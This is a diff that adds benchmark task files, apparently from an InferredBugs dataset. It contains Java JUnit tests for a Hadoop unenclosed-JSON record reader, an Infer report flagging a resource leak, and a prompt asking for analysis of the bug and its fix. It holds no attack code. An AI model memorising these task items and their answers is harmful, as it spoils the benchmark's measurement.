+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 0, 40)));
+		Assert.assertArrayEquals(new int[] { 0, 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 0, 41)));
+		Assert.assertArrayEquals(new int[] { 0, 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 0, 42)));
+		Assert.assertArrayEquals(new int[] { 1, 2, 3 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 39, 123)));
+		
+		Assert.assertArrayEquals(new int[] { 1, 2, 3 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 20, 123)));
+		Assert.assertArrayEquals(new int[] { 1, 2, 3 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 40, 123)));
+		Assert.assertArrayEquals(new int[] { 2, 3 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 41, 123)));
+		Assert.assertArrayEquals(new int[] { 6, 7, 8 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 240, 340)));
+		Assert.assertArrayEquals(new int[] { 9 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 353, 415)));
+		Assert.assertArrayEquals(new int[] { 9 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 354, 415)));
+		Assert.assertArrayEquals(new int[] { 9 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 355, 415)));
+	}
+
+	@Test
+	public void TestEachOnce() throws IOException {
+		//Each record exactly once - see commit b8f6d6dfaf11cce7d8cba54e6011e8684ade0e85, issue #68
+		Assert.assertArrayEquals(new int[] { 0, 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 0, 63)));
+		Assert.assertArrayEquals(new int[] { 2, 3 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 63, 121)));
+		Assert.assertArrayEquals(new int[] { 4 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 121, 187)));
+		Assert.assertArrayEquals(new int[] { 5, 6 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 187, 264)));
+		Assert.assertArrayEquals(new int[] { 7, 8 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 264, 352)));
+		Assert.assertArrayEquals(new int[] { 9 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 352, 412)));
+
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 0, 23)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 23, 41)));
+		// Assert.assertArrayEquals(new int[] { 2, 3 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 41, 123)));
+	}
+
+	@Test
+	public void TestWhitespace() throws IOException {
+		//int [] recordBreaks = new int[] { 0, 57, 111, ,  };
+		int[] rslt = getRecordIndexesInReader(getReaderFor("unenclosed-json-return.json", 0, 222), true);
+		Assert.assertEquals(4, rslt.length);
+		int[] before = null, after = null;
+		before = getRecordIndexesInReader(getReaderFor("unenclosed-json-return.json", 0, 56), true);
+		after = getRecordIndexesInReader(getReaderFor("unenclosed-json-return.json", 56, 222), true);
+		Assert.assertEquals(4, before.length + after.length);
+		before = getRecordIndexesInReader(getReaderFor("unenclosed-json-return.json", 0, 57), true);
+		after = getRecordIndexesInReader(getReaderFor("unenclosed-json-return.json", 57, 222), true);
+		Assert.assertEquals(4, before.length + after.length);
+		before = getRecordIndexesInReader(getReaderFor("unenclosed-json-return.json", 0, 58), true);
+		after = getRecordIndexesInReader(getReaderFor("unenclosed-json-return.json", 58, 222), true);
+		Assert.assertEquals(4, before.length + after.length);
+	}
+
+	@Ignore  // May not be guaranteed behavior
+	public void TestComma() throws IOException {
+		//int [] recordBreaks = new int[] { 0, 57, 111, ,  };
+		int[] rslt = getRecordIndexesInReader(getReaderFor("unenclosed-json-comma.json", 0, 222), true);
+		Assert.assertEquals(4, rslt.length);
+		int[] before = null, after = null;
+		before = getRecordIndexesInReader(getReaderFor("unenclosed-json-comma.json", 0, 56), true);
+		after = getRecordIndexesInReader(getReaderFor("unenclosed-json-comma.json", 56, 222), true);
+		Assert.assertEquals(4, before.length + after.length);
+		before = getRecordIndexesInReader(getReaderFor("unenclosed-json-comma.json", 0, 57), true);
+		after = getRecordIndexesInReader(getReaderFor("unenclosed-json-comma.json", 57, 222), true);
+		Assert.assertEquals(4, before.length + after.length);
+		before = getRecordIndexesInReader(getReaderFor("unenclosed-json-comma.json", 0, 58), true);
+		after = getRecordIndexesInReader(getReaderFor("unenclosed-json-comma.json", 58, 222), true);
+		Assert.assertEquals(4, before.length + after.length);
+	}
+
+	@Test
+	public void TestEscape() throws IOException {  // Issue #68
+		//int [] recordBreaks = new int[] { 0, 44, 88, 137, 181, 229, 270, 311, 354 };  //length 395
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 0, 44)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 0, 45)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 0, 46)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 43, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 19, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 44, 140)));
+		Assert.assertArrayEquals(new int[] {2, 3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 45, 140)));
+		Assert.assertArrayEquals(new int[] {4,5,6}, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 181, 289)));
+		Assert.assertArrayEquals(new int[] { 8 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 336, 400)));  // 7|{}"
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 14, 45)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 22, 45)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 23, 45)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 24, 45)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 25, 45)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 44, 68)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 44, 69)));
+	}
+
+	@Test
+	public void TestEscQuoteLast() throws IOException {
+		//int [] recordBreaks = new int[] { 0, 75, 146, 218, 290, 362, , ,  };
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc1.json", 0, 44)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc1.json", 0, 45)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc1.json", 0, 46)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc1.json", 19, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc1.json", 25, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc1.json", 44, 140)));
+	}
+
+	@Test
+	public void TestEscAposLast() throws IOException {
+		//int [] recordBreaks = new int[] { 0, 75, 146, 218, 290, 362, , ,  };
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc2.json", 0, 44)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc2.json", 0, 45)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc2.json", 0, 46)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc2.json", 19, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc2.json", 26, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc2.json", 43, 140)));
+	}
+
+	@Test
+	public void TestEscSlashLast() throws IOException {
+		//int [] recordBreaks = new int[] { 0, 75, 146, 218, 290, 362, , ,  };
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc3.json", 0, 44)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc3.json", 0, 45)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc3.json", 0, 46)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc3.json", 19, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc3.json", 26, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc3.json", 44, 140)));
+	}
+
+	@Test
+	public void TestEscCloseLast() throws IOException {
+		//int [] recordBreaks = new int[] { 0, 75, 146, 218, 290, 362, , ,  };
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc4.json", 0, 44)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc4.json", 0, 45)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc4.json", 0, 46)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc4.json", 19, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc4.json", 25, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc4.json", 44, 140)));
+	}
+
+	@Test
+	public void TestEscOpenLast() throws IOException {
+		//int [] recordBreaks = new int[] { 0, 75, 146, 218, 290, 362, , ,  };
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc5.json", 0, 44)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc5.json", 0, 45)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc5.json", 0, 46)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc5.json", 19, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc5.json", 26, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc5.json", 44, 140)));
+		Assert.assertArrayEquals(new int[] { 6 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc5.json", 268, 280)));
+	}
+
+	@Test
+	public void TestEscPoints() throws IOException {
+		//int [] recordBreaks = new int[] { 0, 75, 146, 218, 290, 362, , ,  };
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc-points.json", 0, 74), true));
+		Assert.assertArrayEquals(new int[] {0, 75}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc-points.json", 0, 76), true));
+		Assert.assertArrayEquals(new int[] {75, 146}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc-points.json", 70, 148), true));
+	}
+
+	// This tests some multi-byte characters in UTF-8.
+	// If implementing a byte-based approach instead of character-based,
+	// the test itself would probably have to be updated to byte-based offsets
+	@Test
+	public void TestCharacters() throws IOException {
+		//int[] recordBreaks = new int[] { 0, 42, 84, 126, 168, 210, ...};  // character-based offsets
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-chars.json", 0, 42), true));
+		Assert.assertArrayEquals(new int[] {0,42}, getRecordIndexesInReader(getReaderFor("unenclosed-json-chars.json", 0, 43), true));
+		Assert.assertArrayEquals(new int[] { 42 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-chars.json", 38, 43), true));
+		Assert.assertArrayEquals(new int[] { 42 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-chars.json", 39, 43), true));
+		Assert.assertArrayEquals(new int[] {84,126,168}, getRecordIndexesInReader(getReaderFor("unenclosed-json-chars.json", 43, 200), true));
+		Assert.assertArrayEquals(new int[] {210,252,294,336}, getRecordIndexesInReader(getReaderFor("unenclosed-json-chars.json", 200, 400), true));
+	}
+
+	@Test
+	public void TestGeomFirst() throws IOException {
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-geom-first.json", 32, 54)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-geom-first.json", 48, 54)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-geom-first.json", 49, 54)));
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-geom-first.json", 0, 52), true));
+	}
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.InputStreamReader` acquired by call to `getReaderFor(...)` at line 160 is not released after line 160.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void TestUnenclosedJsonRecordReader.TestEscAposLast()
+
+### Procedure Id:
+com.esri.json.hadoop.TestUnenclosedJsonRecordReader.TestEscAposLast():void.3189b44c846a6c83aaa293c7907b540c
+
+### File:
+json/src/test/java/com/esri/json/hadoop/TestUnenclosedJsonRecordReader.java
+
+### Key:
+TestUnenclosedJsonRecordReader.java|TestEscAposLast|RESOURCE_LEAK
+
+### Node Key:
+df0efd48083e294955bf88e2a7226f99
+
+### Hash:
+431fc8c56b6292e1ee582a555b067749
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-8730/instruction.md b/inferredbugs-8730/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..159b7e6320091b652063dc932a991bce2ed09d4a
--- /dev/null
+++ b/inferredbugs-8730/instruction.md
@@ -0,0 +1,326 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** spatial-framework-for-hadoop
+**Bug ID:** 3
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package com.esri.json.hadoop;
+
+import java.io.IOException;
+import java.util.LinkedList;
+import java.util.List;
+
+import org.apache.hadoop.conf.Configuration;
+import org.apache.hadoop.fs.Path;
+import org.apache.hadoop.io.LongWritable;
+import org.apache.hadoop.io.Text;
+import org.apache.hadoop.mapreduce.TaskAttemptContext;
+import org.apache.hadoop.mapreduce.TaskAttemptID;
+import org.apache.hadoop.mapreduce.lib.input.FileSplit;
+import org.junit.Assert;
+import org.junit.Ignore;
+import org.junit.Test;
+
+public class TestUnenclosedJsonRecordMrv2 {
+
+	private TaskAttemptContext createTaskAttemptContext(Configuration conf, TaskAttemptID taid)
+		throws Exception  {       //shim
+		try {                     // Hadoop-1
+			return (TaskAttemptContext)TaskAttemptContext.class.
+				getConstructor(Configuration.class, TaskAttemptID.class).
+				newInstance(conf, taid);
+		} catch (Exception e) {   // Hadoop-2
+			Class<?> clazz =
+				Class.forName("org.apache.hadoop.mapreduce.task.TaskAttemptContextImpl");
+			return (TaskAttemptContext)clazz.getConstructor(Configuration.class, TaskAttemptID.class).
+				newInstance(conf, taid);
+		}
+	}
+
+	private UnenclosedJsonRecordReader getReaderFor(String resource, int start, int end) throws Exception {
+		Path path = new Path(this.getClass().getResource(resource).getFile());
+
+		FileSplit split = new FileSplit(path, start, end - start, new String[0]);
+
+		UnenclosedJsonRecordReader rr = new UnenclosedJsonRecordReader();
+        try {
+			TaskAttemptContext tac =
+                createTaskAttemptContext(new Configuration(), new TaskAttemptID());
+			rr.initialize(split, tac);
+		} catch (InterruptedException ie) {
+			Thread.currentThread().interrupt();
+		}
+
+		return rr;
+	}
+
+	int [] getRecordIndexesInReader(UnenclosedJsonRecordReader reader) throws IOException {
+		return getRecordIndexesInReader(reader, false);
+	}
+
+	int [] getRecordIndexesInReader(UnenclosedJsonRecordReader reader, boolean flag) throws IOException {
+		List<Integer> linesList = new LinkedList<Integer>();
+		
+		LongWritable key = reader.createKey();
+		Text value = reader.createValue();
+		
+		while (reader.next(key, value)) {
+			int line = flag ? (int)(key.get()) : value.toString().charAt(23) - '0';
+			linesList.add(line);
+			//System.out.println(key.get() + " - " + value.toString());
+		}
+		
+		int [] lines = new int[linesList.size()];
+		for (int i=0;i<linesList.size();i++) {
+			lines[i] = linesList.get(i);
+		}
+		return lines;
+	}
+	
+	@Test
+	public void TestArbitrarySplitLocations() throws Exception {
+		
+		//int totalSize = 415;
+		
+		//int [] recordBreaks = new int[] { 0, 40, 80, 120, 160, 200, 240, 280, 320, 372 };
+	
+		
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 0, 40)));
+		Assert.assertArrayEquals(new int[] { 0, 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 0, 41)));
+		Assert.assertArrayEquals(new int[] { 0, 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 0, 42)));
+		Assert.assertArrayEquals(new int[] { 1, 2, 3 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 39, 123)));
+		
+		Assert.assertArrayEquals(new int[] { 1, 2, 3 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 20, 123)));
+		Assert.assertArrayEquals(new int[] { 1, 2, 3 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 40, 123)));
+		Assert.assertArrayEquals(new int[] { 2, 3 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 41, 123)));
+		Assert.assertArrayEquals(new int[] { 6, 7, 8 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 240, 340)));
+		Assert.assertArrayEquals(new int[] { 9 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 353, 415)));
+		Assert.assertArrayEquals(new int[] { 9 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 354, 415)));
+		Assert.assertArrayEquals(new int[] { 9 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 355, 415)));
+	}
+
+	@Test
+	public void TestEachOnce() throws Exception {
+		//Each record exactly once - see commit b8f6d6dfaf11cce7d8cba54e6011e8684ade0e85, issue #68
+		Assert.assertArrayEquals(new int[] { 0, 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 0, 63)));
+		Assert.assertArrayEquals(new int[] { 2, 3 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 63, 121)));
+		Assert.assertArrayEquals(new int[] { 4 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 121, 187)));
+		Assert.assertArrayEquals(new int[] { 5, 6 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 187, 264)));
+		Assert.assertArrayEquals(new int[] { 7, 8 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 264, 352)));
+		Assert.assertArrayEquals(new int[] { 9 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 352, 412)));
+
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 0, 23)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 23, 41)));
+		// Assert.assertArrayEquals(new int[] { 2, 3 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 41, 123)));
+	}
+
+	@Test
+	public void TestWhitespace() throws Exception {
+		//int [] recordBreaks = new int[] { 0, 57, 111, ,  };
+		int[] rslt = getRecordIndexesInReader(getReaderFor("unenclosed-json-return.json", 0, 222), true);
+		Assert.assertEquals(4, rslt.length);
+		int[] before = null, after = null;
+		before = getRecordIndexesInReader(getReaderFor("unenclosed-json-return.json", 0, 56), true);
+		after = getRecordIndexesInReader(getReaderFor("unenclosed-json-return.json", 56, 222), true);
+		Assert.assertEquals(4, before.length + after.length);
+		before = getRecordIndexesInReader(getReaderFor("unenclosed-json-return.json", 0, 57), true);
+		after = getRecordIndexesInReader(getReaderFor("unenclosed-json-return.json", 57, 222), true);
+		Assert.assertEquals(4, before.length + after.length);
+		before = getRecordIndexesInReader(getReaderFor("unenclosed-json-return.json", 0, 58), true);
+		after = getRecordIndexesInReader(getReaderFor("unenclosed-json-return.json", 58, 222), true);
+		Assert.assertEquals(4, before.length + after.length);
+	}
+
+	@Ignore  // May not be guaranteed behavior
+	public void TestComma() throws Exception {
+		//int [] recordBreaks = new int[] { 0, 57, 111, ,  };
+		int[] rslt = getRecordIndexesInReader(getReaderFor("unenclosed-json-comma.json", 0, 222), true);
+		Assert.assertEquals(4, rslt.length);
+		int[] before = null, after = null;
+		before = getRecordIndexesInReader(getReaderFor("unenclosed-json-comma.json", 0, 56), true);
+		after = getRecordIndexesInReader(getReaderFor("unenclosed-json-comma.json", 56, 222), true);
+		Assert.assertEquals(4, before.length + after.length);
+		before = getRecordIndexesInReader(getReaderFor("unenclosed-json-comma.json", 0, 57), true);
+		after = getRecordIndexesInReader(getReaderFor("unenclosed-json-comma.json", 57, 222), true);
+		Assert.assertEquals(4, before.length + after.length);
+		before = getRecordIndexesInReader(getReaderFor("unenclosed-json-comma.json", 0, 58), true);
+		after = getRecordIndexesInReader(getReaderFor("unenclosed-json-comma.json", 58, 222), true);
+		Assert.assertEquals(4, before.length + after.length);
+	}
+
+	@Test
+	public void TestEscape() throws Exception {  // Issue #68
+		//int [] recordBreaks = new int[] { 0, 44, 88, 137, 181, 229, 270, 311, 354 };  //length 395
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 0, 44)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 0, 45)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 0, 46)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 43, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 19, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 44, 140)));
+		Assert.assertArrayEquals(new int[] {2, 3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 45, 140)));
+		Assert.assertArrayEquals(new int[] {4,5,6}, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 181, 289)));
+		Assert.assertArrayEquals(new int[] { 8 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 336, 400)));  // 7|{}"
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 14, 45)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 22, 45)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 23, 45)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 24, 45)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 25, 45)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 44, 68)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 44, 69)));
+	}
+
+	@Test
+	public void TestEscQuoteLast() throws Exception {
+		//int [] recordBreaks = new int[] { 0, 75, 146, 218, 290, 362, , ,  };
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc1.json", 0, 44)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc1.json", 0, 45)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc1.json", 0, 46)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc1.json", 19, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc1.json", 25, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc1.json", 44, 140)));
+	}
+
+	@Test
+	public void TestEscAposLast() throws Exception {
+		//int [] recordBreaks = new int[] { 0, 75, 146, 218, 290, 362, , ,  };
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc2.json", 0, 44)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc2.json", 0, 45)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc2.json", 0, 46)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc2.json", 19, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc2.json", 26, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc2.json", 43, 140)));
+	}
+
+	@Test
+	public void TestEscSlashLast() throws Exception {
+		//int [] recordBreaks = new int[] { 0, 75, 146, 218, 290, 362, , ,  };
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc3.json", 0, 44)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc3.json", 0, 45)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc3.json", 0, 46)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc3.json", 19, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc3.json", 26, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc3.json", 44, 140)));
+	}
+
+	@Test
+	public void TestEscCloseLast() throws Exception {
+		//int [] recordBreaks = new int[] { 0, 75, 146, 218, 290, 362, , ,  };
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc4.json", 0, 44)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc4.json", 0, 45)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc4.json", 0, 46)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc4.json", 19, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc4.json", 25, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc4.json", 44, 140)));
+	}
+
+	@Test
+	public void TestEscOpenLast() throws Exception {
+		//int [] recordBreaks = new int[] { 0, 75, 146, 218, 290, 362, , ,  };
